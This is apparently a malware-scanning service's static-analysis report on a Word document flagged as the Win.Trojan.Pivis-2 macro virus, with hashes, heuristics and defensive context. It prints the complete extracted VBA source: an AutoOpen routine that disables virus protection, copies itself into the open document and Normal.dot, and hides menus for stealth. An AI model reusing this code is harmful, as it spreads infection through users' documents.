Win.Trojan.Pivis-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 57d7edd59a0bb3a8…

MALICIOUS

Office (OLE)

40.0 KB Created: 1998-03-29 21:17:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c32b263fb2db4cc25f5dfdde502289aa SHA-1: 72cbb9e41d4debdecd4a8735ae9ea1fe3cbc5cb5 SHA-256: 57d7edd59a0bb3a87dd81292efd76b61c3465ea0c3b9efca0c034f523bc2c850
260 Risk Score

Malware Insights

Win.Trojan.Pivis-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This malicious OLE document contains legacy WordBasic and VBA macros, including an AutoOpen macro designed to spread. The script exports itself as 'c:\startup.log' and attempts to import it into other documents, indicating a macro-based infection and propagation mechanism. The ClamAV detection and heuristic firings strongly suggest a known trojan.

Heuristics 5

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2733 bytes
SHA-256: d874344951a146aa4bc9b6fff70fd4d20e278a038a01e4996ff264e2e644efb9
Detection
ClamAV: Doc.Trojan.Unhelpful-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Helper"

Sub AutoOpen()

' We hook the Word AutoOpen command to spread
' This virus will only spread on the "AutoOpen" of a document

On Error Resume Next
 
' Basic Error Handler - if there is an error just go to the next command
 
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
 
' basic changes to keep the virus alive
 
Application.VBE.ActiveVBProject.VBComponents("Helper").Export "c:\startup.log"

' to comply with the SR-1 changes we must export our .bas file because
' copying it no longer works
' The exported .bas file can be called anything - I call it startup.log
' because that filename does not look suspicious

For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "Helper" Then NormInstall = True
Next I
 
' We look in the Normal.dot to see if our module "Helper" exists
' if so NormInstall = True if not NormInstall = False

For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "Helper" Then ActivInstall = True
Next I

' We look in the ActiveDocument to see if our module "Helper" exists
' if so ActivInstall = True if not ActivInstall = False

If ActivInstall = False Then
With ActiveDocument.VBProject
With .VBComponents.Import("c:\startup.log")
End With
End With
End If
 
' If ActivInstall = False (we are not installed in the current document)
' Then we must now import our .bas file and infect the current document
 
If NormInstall = False Then
With NormalTemplate.VBProject
With .VBComponents.Import("c:\startup.log")
End With
End With

' If NormInstall = False (we are not installed in the Normal.dot)
' Then we must now import our .bas file and infect the Normal.dot

End If
 
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument

' If we were not in the current document then save the document now that
' the virus is installed

If NormInstall = False Then
If NormalTemplate.Saved = False Then NormalTemplate.Save
End If

' If we were not in the normal.dot then save the normal.dot now that
' the virus is installed

End Sub
Sub ViewVBCode()
' basic stealth - just disables the menus
End Sub
Sub FileTemplates()
' basic stealth - just disables the menus
End Sub
Sub ToolsMacro()
' basic stealth - just disables the menus
End Sub